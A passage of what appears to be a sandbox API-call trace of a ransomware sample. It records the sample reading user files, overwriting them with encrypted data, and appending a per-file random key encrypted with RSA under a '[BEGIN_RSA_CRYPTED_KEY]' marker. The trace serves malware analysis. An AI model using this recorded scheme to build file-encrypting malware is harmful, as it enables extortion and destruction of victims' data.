lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.015] WriteFile (in: hFile=0x1840, lpBuffer=0x33c73a8*, nNumberOfBytesToWrite=0x7638c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33c73a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7638c, lpOverlapped=0x0) returned 1 [0220.016] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7638c [0220.017] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.017] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.017] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.017] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.017] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.017] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="+eCeOcQidfJBrCEZg8wywgiaVbyYe7C3K/TtOg9nCSRSe7Hqf09+EBfR0wRm8IDX\nT42LvkAVxAcM0pqaZkT4cr+UiYigMOzN7DFp1fsLWPQVPWPDh+X5CV5MS5AT9Vb4\nLAhRcwb++ugRAV/KP2yUACVd5Ik/MyXOrNNXDI/wq9FrhjoYwzq49S+fXSqgdC5c\n4SChdskFTRqv++OpAEUx6TDT8LRdRQXnG4XJYbL0jrn2tFE+cb9xxMqstFZwgv48\n+Edng6GuhvZohS4ir36fmjXigoWdN9gwB7SVL84dDbdFh7F4Wo6Agym2dKWnKnIz\nboLa5ENeheNB8/cMdp1bfg==\n", pcchString=0x2e3f9a8) returned 1 [0220.017] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.017] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.017] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.017] CloseHandle (hObject=0x1840) returned 1 [0220.019] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.019] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f", dwFileAttributes=0x80) returned 1 [0220.020] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.020] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=526) returned 1 [0220.020] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x20e, lpOverlapped=0x0) returned 1 [0220.092] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.092] WriteFile (in: hFile=0x1840, lpBuffer=0x66ec48*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ec48*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20e, lpOverlapped=0x0) returned 1 [0220.093] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20e [0220.093] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.093] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.093] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.093] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.093] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.093] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="jVkbC8X+HeYnNqzHNzTH4NEDkEb2Ic4Gljz5Qlg3lGCD9PzYztSliORO1bBj2l7h\n9cLlFMWYHC+sO1U2MnOZ+DnjiFJS9QCmujVXIAG9fXgBFwkV8Grberwgrn1WbF6U\nfpESPOqR1R68tJUQVKQ+67ZrXSCeR1JJ6aXmF0Wj/u/qHTIWL+YYmp3xNBsC8Hzc\nlo7+h3S+Ojn700YN4n9hOqzGf1oqaSsUi1DQ/Vecd7FZ/2Vo+Lw4BW1ql9YdibEO\n8/GsY8APR2wt3B/TrKUky/IFZBaJfLABaCxZojUaUdPZx4egWJZnLz11cwd923LF\nijKrHxVYszXNOzs9geBEBw==\n", pcchString=0x2e3f9a8) returned 1 [0220.093] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.093] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.093] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.093] CloseHandle (hObject=0x1840) returned 1 [0220.118] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.118] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798", dwFileAttributes=0x80) returned 1 [0220.123] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.123] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2185) returned 1 [0220.124] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x889, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x889, lpOverlapped=0x0) returned 1 [0220.134] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-2185, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.134] WriteFile (in: hFile=0x1840, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x889, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x889, lpOverlapped=0x0) returned 1 [0220.134] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x889 [0220.134] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.134] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.135] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.135] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="D5tKOFNKNTkbeR4/zZaxcmHz9uHtiRartncaV9JwBLI6ntLSR3if798lOTmvmVqd\noPAZP2hy8yOy1ThA/t8LYH/CN/wIbd01TYDXzV1zXeUFHeFAziGHBeXvDE8mi7JB\na9WRFTUk7FPIiUp3t3hQrQ4CL2b1Zh3KeZ4eKHZ6jWGU7L24GltvDNd7sM8kcbCm\nn5RJeTmKw0cYtIV+rW4pHb32TBFW7pXIkhPexWZSheDKD2wi9lNa+9Sb75Tw2vvp\nXvD0xDQ+6Nco2kMwuVnI1gECGb6FxzqRiFwDuZnSnpwymv0vgJ5D8H+z3FFvM5eR\n06burdtYss6oZ6LNbz9jVA==\n", pcchString=0x2e3f9a8) returned 1 [0220.135] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.135] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.135] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.135] CloseHandle (hObject=0x1840) returned 1 [0220.137] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.137] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856", dwFileAttributes=0x80) returned 1 [0220.137] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.137] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18276) returned 1 [0220.138] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4764, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4764, lpOverlapped=0x0) returned 1 [0220.144] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-18276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.144] WriteFile (in: hFile=0x1840, lpBuffer=0x2f39790*, nNumberOfBytesToWrite=0x4764, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39790*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4764, lpOverlapped=0x0) returned 1 [0220.145] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4764 [0220.145] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.145] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.145] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.145] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.145] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.145] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="wdyS+0tAbwr3v+hnkEcJaWwoWj6SRT7p644EKgRyItJtUIOYt+s9Uy6xt+uqWlXk\nQ+MW9I8aI3xWGkHeP/0Rjmm+h5ZR5f4vJsvyFGa/tvqzwbSd6sY+0O5GpawuqEtM\nnt7JVgx2TaAFLqEC98SUfqa00Lqwk/f0J5q0Bamg+v7whvanxRqm25OoNae8v2VF\ncWgEifL0wHrmT8ndZhSDkdo/7JvnMXBpxP3GK91pC6kLW5NaOKAYuVYV9jRiqGT5\nqfYJaMsoEBI7Y0arEWoSDNSDKsH0esWOIX9oubok9SNmoT2pvRNa820eMvj6GRGF\nFnMo8RowTd2y0qSVVe8dlA==\n", pcchString=0x2e3f9a8) returned 1 [0220.145] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.145] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.145] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.145] CloseHandle (hObject=0x1840) returned 1 [0220.147] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.147] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd", dwFileAttributes=0x80) returned 1 [0220.147] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.148] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=526) returned 1 [0220.148] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x20e, lpOverlapped=0x0) returned 1 [0220.184] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.184] WriteFile (in: hFile=0x1840, lpBuffer=0x66ec48*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ec48*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20e, lpOverlapped=0x0) returned 1 [0220.184] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20e [0220.184] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.184] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.184] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.184] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="aq9mkOENkEWntoGbu2bUUkBI6fLqnl3IdfuJ2bnX8GaYcKoEejZPd/nYKGt8qbk8\nAhrZqENdcb44LZfoRwKF2BR0jJfapovq74Tepne4TedsNfdCnUSGdhMOorTZiTZA\nF3d1gyaqRyw/t3JZFiyRZOx4LZjBFTnBMCk67hSL99mvNGxwaCx/RjsP+jAQOLda\nONj5XUGzMHRjBzoqpv/33HeEz6ZiK5Lm3ExrNgM2MUC1UGw6boalYjKRNgd3Q49T\nYJN0IfHfZVa/nKU7ugOclw2KXzTv9Kz0yKwDB6KzpeyB1e2CQC05vJF/n1MXcJ62\nYNTo87NlGt4/2v9H7pCbcA==\n", pcchString=0x2e3f9a8) returned 1 [0220.185] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.185] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.185] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.185] CloseHandle (hObject=0x1840) returned 1 [0220.188] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.188] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45", dwFileAttributes=0x80) returned 1 [0220.189] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.189] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16972) returned 1 [0220.189] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x424c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x424c, lpOverlapped=0x0) returned 1 [0220.233] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.233] WriteFile (in: hFile=0x1840, lpBuffer=0x2f39278*, nNumberOfBytesToWrite=0x424c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39278*, lpNumberOfBytesWritten=0x2e3f9b4*=0x424c, lpOverlapped=0x0) returned 1 [0220.234] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x424c [0220.234] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.234] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.234] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.234] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="NtDnG1tH5MA8aHu5UkPuwEPlJdPqt9WGfxO2dLA9QgP50ongVwMAbmvN+nIgGIl5\nQV+qCkeEjYPjV59BDX69BgeO7Cl36XVG6Jewv/Yt0ZFNiNt5oKsy3SkBVZX2o4KS\n5LLKl6nuch5EpAD7OynLUBYh5F6lFwlTXhcBgU9/qhUsu2kXeunoTp44BAj+9rrj\nHrVkAsb4HwtWVMvN8oSIIeHZ0lRxvfgDd/UNAUn4UXnnd7M0UgBQXE8dS9e1ThvP\nWNG+4gQXZ+N8jPsxTY7DbGfJ84mt5keg/HpCOFjCEZq/peJ/D6hqKqr1ikmLOApc\nMDhC09wIHVwDUjTVyWP7LQ==\n", pcchString=0x2e3f9a8) returned 1 [0220.234] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.234] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.234] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.235] CloseHandle (hObject=0x1840) returned 1 [0220.236] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.236] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745", dwFileAttributes=0x80) returned 1 [0220.236] CreateFileW 